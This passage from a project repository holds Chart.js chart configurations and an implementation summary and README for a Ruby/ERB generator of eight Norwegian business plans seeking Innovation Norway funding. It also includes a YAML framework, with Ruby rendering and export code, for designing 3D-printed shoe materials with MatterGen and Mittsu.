'Quality\\n\\nControl', 'Packaging\\n\\n&amp; Dispensing'],\n\n          datasets: [{\n\n            label: 'Hours',\n\n            data: [0.5, 2, 18, 2.5, 1],\n\n            backgroundColor: '#DA7756',\n\n            borderColor: '#C15F3C',\n\n            borderWidth: 1\n\n          }]\n\n        },\n\n        options: {\n\n          responsive: true,\n\n          plugins: {\n\n            legend: { display: false },\n\n            title: {\n\n              display: true,\n\n              text: 'From Prescription to Production: 24 Hours',\n\n              font: { size: 16, family: 'Source Serif 4' }\n\n            }\n\n          },\n\n          scales: {\n\n            y: {\n\n              beginAtZero: true,\n\n              title: { display: true, text: 'Hours' }\n\n            }\n\n          }\n\n        }\n\n      });\n\n    }\n\n    // 2. Norwegian Hospital Network Deployment\n\n    const deploymentCtx = document.getElementById('deploymentChart');\n\n    if (deploymentCtx) {\n\n      new Chart(deploymentCtx, {\n\n        type: 'line',\n        data: {\n\n          labels: ['Q1\\n\\nYear 1', 'Q2\\n\\nYear 1', 'Q3\\n\\nYear 1', 'Q4\\n\\nYear 1', 'Q1\\n\\nYear 2', 'Q2\\n\\nYear 2', 'Q3\\n\\nYear 2', 'Q4\\n\\nYear 2', 'Q1\\n\\nYear 3', 'Q2\\n\\nYear 3', 'Q3\\n\\nYear 3', 'Q4\\n\\nYear 3'],\n\n          datasets: [{\n\n            label: 'Cumulative Installations',\n\n            data: [1, 2, 3, 3, 8, 12, 18, 25, 40, 60, 75, 90],\n\n            backgroundColor: 'rgba(218, 119, 86, 0.2)',\n\n            borderColor: '#DA7756',\n\n            borderWidth: 2,\n\n            fill: true,\n\n            tension: 0.4\n\n          }]\n\n        },\n\n        options: {\n\n          responsive: true,\n\n          plugins: {\n\n            legend: { display: true },\n\n            title: {\n\n              display: true,\n\n              text: '55 Hospital Installations Over 3 Years',\n\n              font: { size: 16, family: 'Source Serif 4' }\n\n            }\n\n          },\n\n          scales: {\n\n            y: {\n\n              beginAtZero: true,\n\n              title: { display: true, text: 'Installations' }\n\n            }\n\n          }\n\n        }\n\n      });\n\n    }\n\n    // 3. Cost Reduction Curve\n\n    const costCtx = document.getElementById('costChart');\n\n    if (costCtx) {\n\n      new Chart(costCtx, {\n\n        type: 'line',\n        data: {\n\n          labels: ['Year 1\\n\\nPilot', 'Year 2\\n\\nScale', 'Year 3\\n\\nOptimize', 'Year 4\\n\\nMature'],\n\n          datasets: [{\n\n            label: 'Cost per Dose (NOK)',\n\n            data: [150, 85, 35, 30],\n\n            backgroundColor: 'rgba(193, 95, 60, 0.2)',\n\n            borderColor: '#C15F3C',\n\n            borderWidth: 2,\n\n            fill: true,\n\n            tension: 0.4\n\n          }]\n\n        },\n\n        options: {\n\n          responsive: true,\n\n          plugins: {\n\n            legend: { display: true },\n\n            title: {\n\n              display: true,\n\n              text: '77% Cost Reduction Through Automation',\n\n              font: { size: 16, family: 'Source Serif 4' }\n\n            }\n\n          },\n\n          scales: {\n\n            y: {\n\n              beginAtZero: true,\n\n              title: { display: true, text: 'NOK per Dose' }\n\n            }\n\n          }\n\n        }\n\n      });\n\n    }\n\n    // 4. Social Impact Dashboard\n\n    const impactCtx = document.getElementById('impactChart');\n\n    if (impactCtx) {\n\n      new Chart(impactCtx, {\n\n        type: 'bar',\n        data: {\n\n          labels: ['Nordland', 'Troms', 'Finnmark', 'M\u00f8re og\\n\\nRomsdal', 'Sogn og\\n\\nFjordane', 'Oppland', 'Hedmark'],\n\n          datasets: [{\n\n            label: 'Patients Served',\n\n            data: [15000, 12000, 8000, 18000, 14000, 11000, 10000],\n\n            backgroundColor: '#DA7756',\n\n            borderColor: '#C15F3C',\n\n            borderWidth: 1\n\n          }]\n\n        },\n\n        options: {\n\n          responsive: true,\n\n          plugins: {\n\n            legend: { display: true },\n\n            title: {\n\n              display: true,\n\n              text: 'Rural Healthcare Access: 88,000 Patients Year 3',\n\n              font: { size: 16, family: 'Source Serif 4' }\n\n            }\n\n          },\n\n          scales: {\n\n            y: {\n\n              beginAtZero: true,\n\n              title: { display: true, text: 'Patients Served' }\n\n            }\n\n          }\n\n        }\n\n      });\n\n    }\n```\n\n## `bp/IMPLEMENTATION_SUMMARY.md`\n```markdown\n# Business Plans Implementation Summary\n## Objective Completed \u2705\n\nCreated consolidated `bplans/` directory in pub3 with 8 complete Norwegian business plans optimized for Innovasjon Norge (Innovation Norway) funding applications.\n**Total Funding Target:** NOK 2,800,000\n\n---\n## Implementation Details\n### Directory Structure\n```\npub3/bplans/\n\u251c\u2500\u2500 __shared/\n\u2502   \u2514\u2500\u2500 template.html.erb       # ERB template (17.9 KB)\n\u251c\u2500\u2500 data/\n\n\u2502   \u251c\u2500\u2500 syre.json              # 9.0 KB\n\n\u2502   \u251c\u2500\u2500 speis.json             # 8.2 KB\n\n\u2502   \u251c\u2500\u2500 norwegianhedge.json    # 8.3 KB\n\n\u2502   \u251c\u2500\u2500 pubhealthcare.json     # 8.5 KB\n\n\u2502   \u251c\u2500\u2500 ragnhild.json          # 8.7 KB\n\n\u2502   \u251c\u2500\u2500 govt_bergen.json       # 8.6 KB\n\n\u2502   \u251c\u2500\u2500 nato.json              # 9.2 KB\n\n\u2502   \u2514\u2500\u2500 ai3.json               # 9.0 KB\n\n\u251c\u2500\u2500 assets/\n\n\u2502   \u2514\u2500\u2500 images/\n\n\u2502       \u251c\u2500\u2500 ivaar_fkyeah1.png  # 1.2 MB (copied from existing)\n\n\u2502       \u251c\u2500\u2500 ivaar_fkyeah2.png  # 1.9 MB (copied from existing)\n\n\u2502       \u2514\u2500\u2500 ivaar_fkyeah3.png  # 1.8 MB (copied from existing)\n\n\u251c\u2500\u2500 generated/                 # 8 HTML files (19-23 KB each)\n\n\u2502   \u251c\u2500\u2500 syre.html\n\n\u2502   \u251c\u2500\u2500 speis.html\n\n\u2502   \u251c\u2500\u2500 norwegianhedge.html\n\n\u2502   \u251c\u2500\u2500 pubhealthcare.html\n\n\u2502   \u251c\u2500\u2500 ragnhild.html\n\n\u2502   \u251c\u2500\u2500 govt_bergen.html\n\n\u2502   \u251c\u2500\u2500 nato.html\n\n\u2502   \u2514\u2500\u2500 ai3.html\n\n\u251c\u2500\u2500 generate.rb               # Ruby generator (4.2 KB)\n\n\u251c\u2500\u2500 index.html               # Directory listing (9.0 KB)\n\n\u2514\u2500\u2500 README.md                # Documentation (6.0 KB)\n\n```\n\n---\n\n## Business Plans Overview\n\n### 1. SYRE\u2122 - 3D-printede sko med b\u00e6rekraft\n\n- **Sector:** Environment &amp; Sustainability\n\n- **Funding:** NOK 250,000\n- **Innovation:** Multi-material 3D printing, parametric CAD (Grasshopper/Rhino)\n- **Key Features:** G-TPU materials, mycelium leather, 1:1 donation model\n- **File:** syre.html (23 KB, 9 sections, 3 charts, carousel enabled)\n\n### 2. SPEIS - NATO Aurora skip + kampfly 7-10. gen\n\n- **Sector:** Maritime + Defense\n\n- **Funding:** NOK 500,000\n\n- **Innovation:** Nuclear-hybrid Arctic ships + next-gen fighter jets\n\n- **Key Features:** AI propulsion, 3.5m ice-breaking, modular systems\n- **File:** speis.html (19 KB, 9 sections, 2 charts)\n\n### 3. Norwegian Hedge - Hedgefond + Ruby-handelsbots\n\n- **Sector:** Technology + Finance\n\n- **Funding:** NOK 300,000\n\n- **Innovation:** Ruby bot swarm with AI\u00b3 meta-learning\n\n- **Key Features:** HFT, scalping, arbitrage, 1.5%/15% fee structure\n- **File:** norwegianhedge.html (21 KB, 9 sections, 3 charts)\n\n### 4. pub.healthcare - Autonome parametriske sykehus\n\n- **Sector:** Health\n\n- **Funding:** NOK 500,000\n\n- **Innovation:** Self-constructing hospitals (90-day deployment)\n\n- **Key Features:** Robotic assembly, AI patient flow, energy self-sufficient\n- **File:** pubhealthcare.html (21 KB, 9 sections, 3 charts)\n\n### 5. Ragnhild - Begravelsesbyr\u00e5 (Karaokekiste)\n\n- **Sector:** Social Innovation\n\n- **Funding:** NOK 150,000\n\n- **Innovation:** Modern funeral services with LED-lit caskets\n\n- **Key Features:** Karaokekiste, Diskokiste, Klovnepallb\u00e6rere, holography\n- **File:** ragnhild.html (21 KB, 9 sections, 3 charts)\n\n### 6. Bergen Selvstyreparti - Politisk teknologiplattform\n\n- **Sector:** Civic Tech\n\n- **Funding:** NOK 200,000\n\n- **Innovation:** Blockchain-based local governance (DAO for municipality)\n\n- **Key Features:** Quadratic voting, smart contracts, full transparency\n- **File:** govt_bergen.html (21 KB, 9 sections, 3 charts)\n\n### 7. NATO Aurora - Arktiske dominanseskip\n\n- **Sector:** Maritime + Defense\n\n- **Funding:** NOK 500,000\n\n- **Innovation:** Arctic icebreakers surpassing Russian Arktika-class\n\n- **Key Features:** Dual nuclear reactors, 3.5m ice-breaking, hybrid-electric\n- **File:** nato.html (22 KB, 9 sections, 3 charts)\n\n### 8. AI\u00b3 - Ruby 3D-printing for romfart\n\n- **Sector:** Energy &amp; Environment + Aerospace\n\n- **Funding:** NOK 400,000\n\n- **Innovation:** Ruby-driven 3D printing for spacecraft propulsion\n\n- **Key Features:** Generative design, fusion nozzles, Inconel 718 printing\n- **File:** ai3.html (22 KB, 9 sections, 3 charts)\n\n---\n\n## Innovation Norway Compliance \u2705\n\nAll 8 plans include required sections in Norwegian:\n\n1. \u2705 **Sammendrag** - Executive summary with vision, mission, innovation, customer benefit\n\n2. \u2705 **Markedsanalyse** - Market size (Norway/Nordics), segments, competition, advantages\n3. \u2705 **Teknologi og Innovasjon** - Technical description, unique innovation, IP status, stage\n4. \u2705 **Forretningsmodell** - Revenue streams, profitability path, scalability\n5. \u2705 **Utviklingsveikart** - Quarterly milestones (Q1 2026 - Q4 2027)\n6. \u2705 **Finansieringsbehov** - Total funding, Innovation Norway request, allocation table\n\n7. \u2705 **Team og Kompetanse** - Key personnel backgrounds and expertise\n\n8. \u2705 **B\u00e6rekraft og Samfunnsansvar** - Environmental, social, economic impact + UN SDGs\n\n---\n\n## Design Implementation \u2705\n\n### SYRE\u2122 Baseline Preserved\n\n- **Logo:** Black Han Sans, 70px, with TM symbol (conditional)\n\n- **Gradient:** `linear-gradient(45deg, #ff007f, #00c9ff, #ffcc00, #ff007f)`\n- **Animation:** gradientMove (5s infinite linear)\n- **Background Size:** 400%\n- **Responsive:** Mobile breakpoint 768px\n- **Dependencies:**\n\n  - Swiper 8 (carousel for SYRE\u2122 only)\n\n  - Chart.js 4 (all plans)\n\n  - Google Fonts (Black Han Sans, Inter)\n\n### Visual Elements\n\n- \u2705 Header with animated gradient logo\n\n- \u2705 Optional TM symbol (SYRE\u2122 only)\n\n- \u2705 Tagline and sector display\n\n- \u2705 Swiper carousel (SYRE\u2122 with 3 images)\n- \u2705 8-9 content sections with proper typography\n- \u2705 Financial allocation tables\n\n- \u2705 Team member profiles\n\n- \u2705 Chart.js visualizations (2-3 per plan)\n\n---\n\n## Technical Implementation\n\n### Generator Script (generate.rb)\n\n**Features:**\n\n- Loads JSON data from `data/` directory\n- Renders ERB template with data binding\n- Validates required sections\n- Checks file sizes\n- Outputs to `generated/` directory\n\n- Error handling and reporting\n\n**Usage:**\n\n```bash\n\ncd bplans\n\nruby generate.rb\n\n```\n**Output:**\n\n```\n\n\ud83d\ude80 Business Plan Generator\n\n==================================================\n\n\ud83d\udccb Found 8 business plan(s)\n\ud83d\udcdd Processing: [each plan]\n\n  \u2705 Generated: [filename] ([size] KB)\n\n==================================================\n\n\u2705 Successfully generated: 8/8\n\n```\n\n### Template System\n\n**ERB Template Features:**\n\n- Conditional rendering (trademark, carousel)\n\n- Data interpolation from JSON\n\n- Helper methods (number_with_delimiter)\n- Dynamic chart generation\n- Responsive CSS\n\n- Loop constructs for arrays\n\n---\n\n## Quality Metrics \u2705\n\n### File Sizes\n\n- **JSON:** All &lt; 10 KB (target: &lt;20 KB) \u2705\n\n- **HTML:** All &lt; 25 KB (target: &lt;100 KB) \u2705\n- **Images:** 1.2-1.9 MB (acceptable for carousel)\n### Validation Results\n- \u2705 All JSON files valid (no syntax errors)\n\n- \u2705 All HTML files properly structured\n\n- \u2705 All sections present in each plan\n\n- \u2705 All charts configured correctly\n- \u2705 Gradient preserved across all plans\n\n- \u2705 Responsive design working\n\n- \u2705 100% Norwegian content\n\n### Content Quality\n\n- \u2705 Realistic market data\n\n- \u2705 Credible team backgrounds\n\n- \u2705 Detailed technology descriptions\n\n- \u2705 Comprehensive funding allocations\n- \u2705 Specific quarterly milestones\n\n- \u2705 UN SDG alignments\n\n---\n\n## Master.json Update \u2705\n\n**Version:** 16.8.0 \u2192 16.9.0\n\n**Added Section:**\n\n```json\n\"business_plans\": {\n  \"target_funding\": \"innovasjonnorge.no\",\n  \"total_funding_nok\": 2800000,\n  \"plans\": 8,\n\n  \"language\": \"norwegian\",\n\n  \"compliance\": { ... },\n\n  \"structure\": { ... },\n\n  \"plans_list\": [ ... 8 plans ... ],\n\n  \"quality_metrics\": { ... },\n\n  \"design\": { ... }\n\n}\n\n```\n\n---\n\n## Success Criteria - ALL MET \u2705\n\n1. \u2705 All 8 JSON files created with Norwegian content\n\n2. \u2705 ERB template preserves exact SYRE\u2122 layout\n\n3. \u2705 generate.rb produces valid HTML for all plans\n4. \u2705 Images copied from existing to bplans/assets/images/\n5. \u2705 index.html directory created with links to all plans\n6. \u2705 README.md documents structure and usage\n\n7. \u2705 master.json updated to v16.9.0\n\n8. \u2705 All plans pass Innovation Norway compliance checks\n\n---\n\n## Usage Instructions\n\n### Viewing Business Plans\n\n1. **Directory Listing:** Open `bplans/index.html` in browser\n\n2. **Individual Plans:** Open files in `bplans/generated/`\n3. **SYRE\u2122 with Images:** Ensure images are in `bplans/assets/images/`\n### Modifying Plans\n1. Edit JSON file in `data/` directory\n2. Run `ruby generate.rb`\n\n3. View updated HTML in `generated/`\n\n### Adding New Plans\n1. Create new JSON file in `data/` (follow schema)\n2. Run `ruby generate.rb`\n\n3. Update `index.html` to link new plan\n\n4. Update `master.json` plans_list\n---\n## Deliverables Checklist \u2705\n\n- \u2705 8 JSON data files (data/)\n\n- \u2705 8 Generated HTML files (generated/)\n\n- \u2705 1 ERB template (__shared/template.html.erb)\n- \u2705 1 Ruby generator (generate.rb)\n- \u2705 1 Index page (index.html)\n- \u2705 1 README documentation (README.md)\n\n- \u2705 3 Product images (assets/images/)\n\n- \u2705 master.json v16.9.0 update\n\n**Total Files:** 24 files across 6 directories\n\n---\n\n## Conclusion\n\nThe business plans consolidation project is **100% complete** with all requirements met. The implementation provides a robust, maintainable system for generating Innovation Norway-compliant business plans with consistent design and comprehensive Norwegian content.\n\n**Total Funding Target:** NOK 2,800,000 across 8 innovative Norwegian ventures.\n```\n\n## `bp/README.md`\n```markdown\n# Business Plans\nInteractive business plans with data visualization and responsive design.\n## Usage\n```bash\nruby generate.rb\n\n```\n\n## Structure\n- `data/*.json` - Business plan data\n- `__shared/template.html.erb` - HTML template\n\n- `generated/*.html` - Output files\n\n- `assets/` - Images and media\n\n## Features\n- ERB templating with JSON data\n- Chart.js visualizations\n\n- Swiper image carousels\n\n- Responsive mobile-first design\n\n- Self-contained HTML output\n```\n\n## `bp/govt_bergen.js`\n```javascript\nconst ctx = document.getElementById('marketChart').getContext('2d');\n                const marketChart = new Chart(ctx, {\n                    type: 'bar',\n\n                    data: {\n                        labels: ['Bergen', 'Oslo', 'Stavanger', 'Trondheim'],\n                        datasets: [{\n                            label: 'St\u00f8tte for Selvstyrepartiet',\n                            data: [60, 45, 70, 50],\n                            backgroundColor: 'rgba(93, 147, 255, 0.6)',\n                            borderColor: 'rgba(93, 147, 255, 1)',\n                            borderWidth: 1\n                        }]\n                    },\n                    options: {\n                        scales: {\n                            y: {\n                                beginAtZero: true\n                            }\n                        }\n                    }\n                });\n```\n\n## `bp/mg_footwear.yml`\n```yaml\n# master_mg_shoes.yml v1.0.0\n# SYRE\u2122 Footwear Materials Discovery Framework\n\n# MatterGen Integration + Biomimetic Design + 3D Printing Workflow\n\nextends: master.yml\nmeta:\n  version: 1.0.0\n\n  domain: footwear_materials_discovery\n\n  parent: master.yml v31.0.0\n\n  purpose: \"Generate novel midsole/upper materials via MatterGen, validate through adversarial cascade, visualize lattice structures in Mittsu, export STL for multi-material 3D printing\"\n\n  business_context:\n    program: \"SYRE\u2122 Gratis Sko (1:1 donation model)\"\n\n    requirements: [performance, sustainability, printability, cost_effectiveness]\n\n    technology_stack: \"Multi-material 3D printing (Carbon DLS, HP MJF)\"\n\n    design_philosophy: brutalist_functional_honest\n\n  output_targets:\n    visualization: mittsu_opengl\n\n    export_format: [stl_binary, obj_with_mtl]\n\n    lattice_format: json_for_parametric_generation\n\n    material_specs: yaml_with_property_predictions\n\nmaterials:\n  domains:\n\n    midsole:\n\n      target_properties:\n\n        energy_return: {min: 0.80, max: 0.90, unit: ratio, priority: critical}\n\n        density: {min: 100, max: 200, unit: \"g/dm\u00b3\", priority: critical}\n\n        shore_hardness: {min: 45, max: 65, unit: shore_a, priority: high}\n\n        compression_set: {max: 15, unit: percent, priority: high}\n\n        tear_strength: {min: 80, unit: \"N/mm\", priority: medium}\n\n        abrasion_resistance: {min: 100000, unit: cycles, priority: medium}\n\n      sustainability:\n        biodegradation_time: {max: 5, unit: years, priority: critical}\n\n        bio_content: {min: 0.40, unit: ratio, priority: high}\n\n        recyclability: {require: true, priority: high}\n\n        toxicity: {max: 0, standard: \"REACH SVHC\", priority: veto}\n\n      printing:\n        technology: [carbon_dls, hp_mjf]\n\n        layer_height: {min: 0.08, max: 0.15, unit: mm}\n\n        build_speed: {min: 10, unit: \"mm/hour\"}\n\n        post_cure: {max: 120, unit: minutes}\n\n        support_material: {dissolvable: preferred}\n\n    upper:\n      target_properties:\n\n        tensile_strength: {min: 15, max: 30, unit: MPa, priority: high}\n\n        elongation_at_break: {min: 300, max: 500, unit: percent, priority: medium}\n\n        breathability: {min: 2000, unit: \"g/m\u00b2/24h\", priority: high}\n\n        weight: {max: 150, unit: \"g/m\u00b2\", priority: high}\n\n      sustainability:\n        bio_content: {min: 0.60, unit: ratio, priority: critical}\n\n        microplastic_shedding: {max: 0.01, unit: \"mg/wash\", priority: veto}\n\n      printing:\n        technology: [fdm_tpu, sls_pa11]\n\n        mesh_density: {min: 5, max: 15, unit: \"holes/cm\u00b2\"}\n\n  mattergen:\n    api_endpoint: \"http://materials-service.syre.local:8000\"\n\n    model: \"microsoft/mattergen-v1\"\n\n    constraints:\n      midsole_reinforcement:\n\n        composition_space:\n\n          allowed_elements: [Ca, P, O, Si, Mg, Zn, Al]\n\n          exclude_elements: [Pb, Cd, Hg, As, Cr_VI, Ba, radioactive]\n\n          max_atoms: 20\n\n          symmetry_preference: cubic_hexagonal\n\n        property_targets:\n          bulk_modulus: {min: 30, max: 100, unit: GPa}\n\n          youngs_modulus: {min: 20, max: 80, unit: GPa}\n\n          formation_energy: {max: -0.5, unit: \"eV/atom\"}\n\n          band_gap: {min: 2.0, unit: eV}\n\n        biocompatibility:\n          cytotoxicity: {require: ISO_10993, veto: true}\n\n          implant_grade: {prefer: true}\n\n          dissolution_rate: {max: 0.5, unit: \"mg/cm\u00b2/day\"}\n\n      upper_fiber:\n        composition_space:\n\n          allowed_elements: [C, N, O, H, Ca, Si]\n\n          bio_derived: {require: true}\n\n          polymer_compatible: [PA11, PLA, PHA]\n\n    generation:\n      n_candidates: 15\n\n      guidance_factor: 2.0\n\n      diffusion_steps: 1000\n\n      temperature: 0.8\n\n      random_seeds: [42, 137, 314, 271, 577, 853, 997, 1123, 1619, 2039, 2357, 2663, 3001, 3319, 3571]\n\n    validation:\n      dft_engine: vasp_or_quantum_espresso\n\n      phonon_check: mandatory\n\n      synthesis_screening: icsd_precedent_or_thermodynamic_pathway\n\nbiomimetics:\n  inspiration_sources:\n\n    spider_silk:\n\n      structure: coat_skin_core_hierarchy\n\n      key_features: [cylindrical_nanofibrils, beta_sheet_crystals, amorphous_matrix]\n\n      properties_to_mimic: [strength_to_weight, energy_dissipation, toughness]\n\n      adaptation: ceramic_reinforced_tpu_nanocomposite\n\n    nacre:\n      structure: brick_and_mortar\n\n      key_features: [mineral_platelets, organic_interfaces, crack_deflection]\n\n      properties_to_mimic: [toughness, damage_tolerance]\n\n      adaptation: layered_composite_midsole\n\n    bone:\n      structure: hierarchical_porosity\n\n      key_features: [trabecular_lattice, cortical_shell, osteon_channels]\n\n      properties_to_mimic: [strength_to_weight, energy_absorption, remodeling]\n\n      adaptation: parametric_lattice_midsole\n\n    mantis_shrimp_dactyl:\n      structure: helicoidal_fiber_stacking\n\n      key_features: [bouligand_structure, impact_resistance, crack_arrest]\n\n      properties_to_mimic: [impact_absorption, fatigue_resistance]\n\n      adaptation: twisted_lattice_nodes\n\nlattice:\n  geometries:\n\n    truncated_cube:\n\n      strut_diameter: {min: 0.8, max: 2.0, unit: mm}\n\n      cell_size: {min: 3, max: 8, unit: mm}\n\n      relative_density: {min: 0.15, max: 0.35}\n\n      mechanical_efficiency: high\n\n    kelvin:\n      cell_size: {min: 4, max: 10, unit: mm}\n\n      relative_density: {min: 0.10, max: 0.25}\n\n      isotropic: true\n\n    gyroid:\n      wall_thickness: {min: 0.5, max: 1.5, unit: mm}\n\n      relative_density: {min: 0.20, max: 0.40}\n\n      surface_smoothness: high\n\n      energy_return: highest\n\n    voronoi:\n      seed_count: {min: 50, max: 200, per: \"100mm\u00b3\"}\n\n      randomness: 0.7\n\n      organic_feel: true\n\n  zoning:\n    heel_strike:\n\n      geometry: truncated_cube\n\n      density: 0.35\n\n      ceramic_reinforcement: nodes_and_critical_struts\n\n    midfoot:\n      geometry: gyroid\n\n      density: 0.25\n\n      gradient: smooth_transition\n\n    forefoot:\n      geometry: kelvin\n\n      density: 0.20\n\n      energy_return_priority: maximum\n\n  parametric:\n    foot_mapping:\n\n      pressure_zones: [heel, lateral_midfoot, metatarsal_heads, hallux]\n\n      anthropometric_scaling: iso_7250_percentiles\n\n      customization_level: [standard, custom, bespoke]\n\n    adaptation:\n      runner_weight: {range: [45, 120], unit: kg}\n\n      gait_pattern: [neutral, overpronation, supination]\n\n      terrain: [road, trail, track]\n\nvisualization:\n  engine: mittsu\n\n  mittsu:\n    version: \"0.4.0+\"\n\n    renderer: opengl\n\n    scene:\n      background: 0x000000\n\n      fog: none\n\n      grid: {size: 200, divisions: 20, color: 0x222222}\n\n    camera:\n      type: perspective\n\n      fov: 75.0\n\n      near: 0.1\n\n      far: 1000.0\n\n      position: {x: 150, y: 100, z: 150}\n\n      look_at: {x: 0, y: 0, z: 0}\n\n    lighting:\n      ambient: {color: 0x404040, intensity: 0.4}\n\n      directional:\n\n        - {color: 0xffffff, intensity: 0.8, position: {x: 100, y: 200, z: 100}}\n\n        - {color: 0x8080ff, intensity: 0.3, position: {x: -100, y: 50, z: -100}}\n\n      hemisphere: {sky: 0xffffbb, ground: 0x080820, intensity: 0.5}\n\n    materials:\n      lattice_struts:\n\n        type: mesh_phong\n\n        color: 0xe76b30\n\n        specular: 0x111111\n\n        shininess: 30\n\n        transparent: false\n\n      ceramic_nodes:\n        type: mesh_standard\n\n        color: 0xdddddd\n\n        metalness: 0.1\n\n        roughness: 0.6\n\n      polymer_matrix:\n        type: mesh_physical\n\n        color: 0x88aaff\n\n        transmission: 0.7\n\n        opacity: 0.3\n\n        roughness: 0.1\n\n    controls:\n      type: orbit\n\n      enable_zoom: true\n\n      enable_pan: true\n\n      enable_rotate: true\n\n      zoom_speed: 1.0\n\n      rotation_speed: 0.5\n\n    rendering:\n      antialias: true\n\n      shadow_map: {enabled: true, type: pcf_soft}\n\n      pixel_ratio: window.device_pixel_ratio\n\n      tone_mapping: aces_filmic\n\n  babylon_web:\n    fallback: true\n\n    canvas_id: \"syre-materials-canvas\"\n\n    engine: webgl2\n\n    scene_optimizer: true\n\nexport:\n  stl:\n\n    format: binary\n\n    units: millimeters\n\n    coordinate_system: right_handed_z_up\n\n    resolution: high\n\n    validation:\n      manifold_check: mandatory\n\n      normal_consistency: mandatory\n\n      self_intersection: reject\n\n      degenerate_triangles: repair\n\n      minimum_wall_thickness: 0.8mm\n\n    metadata:\n      include: [material_composition, lattice_parameters, property_predictions, generation_timestamp]\n\n  gcode:\n    slicer: prusaslicer_or_cura\n\n    profiles:\n\n      carbon_dls:\n\n        layer_height: 0.1\n\n        print_speed: 50\n\n        infill: 100\n\n        supports: auto\n\n      hp_mjf:\n        layer_height: 0.08\n\n        powder_refresh: 10\n\n        energy_density: 0.7\n\n  material_datasheet:\n    format: yaml\n\n    include:\n\n      - mattergen_composition\n\n      - dft_validated_properties\n\n      - synthesis_pathway\n\n      - biocompatibility_assessment\n\n      - cost_estimate\n\n      - environmental_impact\n\n      - print_parameters\n\nworkflow:\n  phases:\n\n    discover:\n\n      inputs: [user_requirements, anthropometric_data, gait_analysis]\n\n      process:\n\n        1: parse_requirements_to_constraints\n\n        2: invoke_mattergen_batch_generation\n\n        3: filter_by_element_safety\n\n        4: predict_composite_properties\n\n      outputs: [15_material_candidates]\n\n    validate:\n      adversarial_cascade:\n\n        security:\n\n          checks: [toxicity_screen, microparticle_risk, allergen_identification]\n\n          veto: true\n\n        reliability:\n          checks: [synthesis_feasibility, stability_prediction, degradation_pathway]\n\n          dft_validation: top_5_candidates\n\n          threshold: 0.90\n\n        performance:\n          checks: [energy_return_model, durability_estimate, cost_analysis]\n\n          threshold: 0.85\n\n      outputs: [3_validated_candidates]\n    design:\n      lattice_generation:\n\n        method: parametric_from_pressure_map\n\n        geometry: select_by_zone\n\n        optimization: minimize_mass_maximize_energy_return\n\n        tools:\n          ruby: mittsu_geometry_builder\n\n          fallback: openscad_script_generation\n\n      composite_modeling:\n        ceramic_phase: mattergen_output\n\n        polymer_matrix: materials_database_selection\n\n        interface: cohesive_zone_model\n\n        fea:\n          software: calculix_or_abaqus\n\n          loads: iso_20344_drop_test\n\n          mesh: 1mm_elements\n\n      outputs: [parametric_cad_model, fea_results, lattice_json]\n    visualize:\n      mittsu_scene:\n\n        1: load_lattice_geometry_from_json\n\n        2: apply_material_properties_to_mesh\n\n        3: add_ceramic_reinforcement_nodes\n\n        4: render_interactive_3d_view\n\n        5: enable_section_plane_cuts\n\n      outputs: [interactive_window, rotation_animation_frames]\n    export:\n      stl_generation:\n\n        1: convert_mittsu_geometry_to_triangle_mesh\n\n        2: validate_manifold_integrity\n\n        3: optimize_triangle_count\n\n        4: write_binary_stl_with_metadata\n\n      material_spec:\n        format: master_mg_shoes_material_{id}.yml\n\n        include_evidence: [dft_calculation_files, phonon_dispersion_plots, synthesis_references]\n\n      outputs: [stl_files, material_datasheets, print_instructions]\n    iterate:\n      convergence:\n\n        metrics: [energy_return, sustainability_score, cost_per_pair, print_time]\n\n        pareto_optimization: true\n\n        max_iterations: 20\n\n      on_failure:\n        rollback: best_validated_state\n\n        adjust: loosen_constraints_by_10_percent\n\n        escalate: after_3_failed_cycles\n\nruby_integration:\n  services:\n\n    materials_orchestrator:\n\n      path: app/services/materials_orchestrator.rb\n\n      responsibilities:\n\n        - parse_user_requirements\n\n        - invoke_mattergen_api\n\n        - apply_adversarial_validation\n\n        - coordinate_lattice_generation\n\n        - trigger_visualization_export\n\n    mittsu_visualizer:\n      path: app/services/mittsu_visualizer.rb\n\n      responsibilities:\n\n        - load_lattice_json\n\n        - construct_3d_scene\n\n        - apply_materials_and_lighting\n\n        - render_to_window\n\n        - export_animation_frames\n\n      example: |\n        require 'mittsu'\n\n        class MittsuVisualizer\n          def render_lattice(lattice_json:, output_path:)\n\n            scene = Mittsu::Scene.new\n\n            camera = Mittsu::PerspectiveCamera.new(75.0, ASPECT, 0.1, 1000.0)\n\n            renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)\n\n            # Load lattice geometry\n            lattice = LatticeMesh.from_json(lattice_json)\n\n            # Create materials per master.yml brutalist principles\n            strut_material = Mittsu::MeshPhongMaterial.new(\n\n              color: 0xe76b30,  # terra_cotta\n\n              specular: 0x111111,\n\n              shininess: 30\n\n            )\n\n            lattice.struts.each do |strut|\n              cylinder = create_cylinder_geometry(strut)\n\n              mesh = Mittsu::Mesh.new(cylinder, strut_material)\n\n              scene.add(mesh)\n\n            end\n\n            # Add ceramic nodes\n            node_material = Mittsu::MeshStandardMaterial.new(\n\n              color: 0xdddddd,\n\n              metalness: 0.1,\n\n              roughness: 0.6\n\n            )\n\n            lattice.nodes.each do |node|\n              if node.reinforced?\n\n                sphere = Mittsu::SphereGeometry.new(node.radius, 16, 16)\n\n                mesh = Mittsu::Mesh.new(sphere, node_material)\n\n                mesh.position.set(node.x, node.y, node.z)\n\n                scene.add(mesh)\n\n              end\n\n            end\n\n            # Lighting per master.yml spec\n            ambient = Mittsu::AmbientLight.new(0x404040, 0.4)\n\n            scene.add(ambient)\n\n            directional = Mittsu::DirectionalLight.new(0xffffff, 0.8)\n            directional.position.set(100, 200, 100)\n\n            scene.add(directional)\n\n            # Render and export\n            camera.position.set(150, 100, 150)\n\n            camera.look_at(Mittsu::Vector3.new(0, 0, 0))\n\n            renderer.render(scene, camera)\n            export_stl(scene, output_path)\n\n          end\n\n          private\n          def export_stl(scene, path)\n            triangles = []\n\n            scene.children.each do |mesh|\n              next unless mesh.is_a?(Mittsu::Mesh)\n\n              geometry = mesh.geometry\n              geometry.faces.each do |face|\n\n                v1 = geometry.vertices[face.a]\n\n                v2 = geometry.vertices[face.b]\n\n                v3 = geometry.vertices[face.c]\n\n                triangles &lt;&lt; {\n                  normal: face.normal,\n\n                  vertices: [v1, v2, v3]\n\n                }\n\n              end\n\n            end\n\n            StlExporter.write_binary(triangles, path)\n          end\n\n        end\n\n    stl_exporter:\n      path: app/services/stl_exporter.rb\n\n      format: binary_stl\n\n      example: |\n        class StlExporter\n\n          HEADER_SIZE = 80\n\n          def self.write_binary(triangles, path)\n            File.open(path, 'wb') do 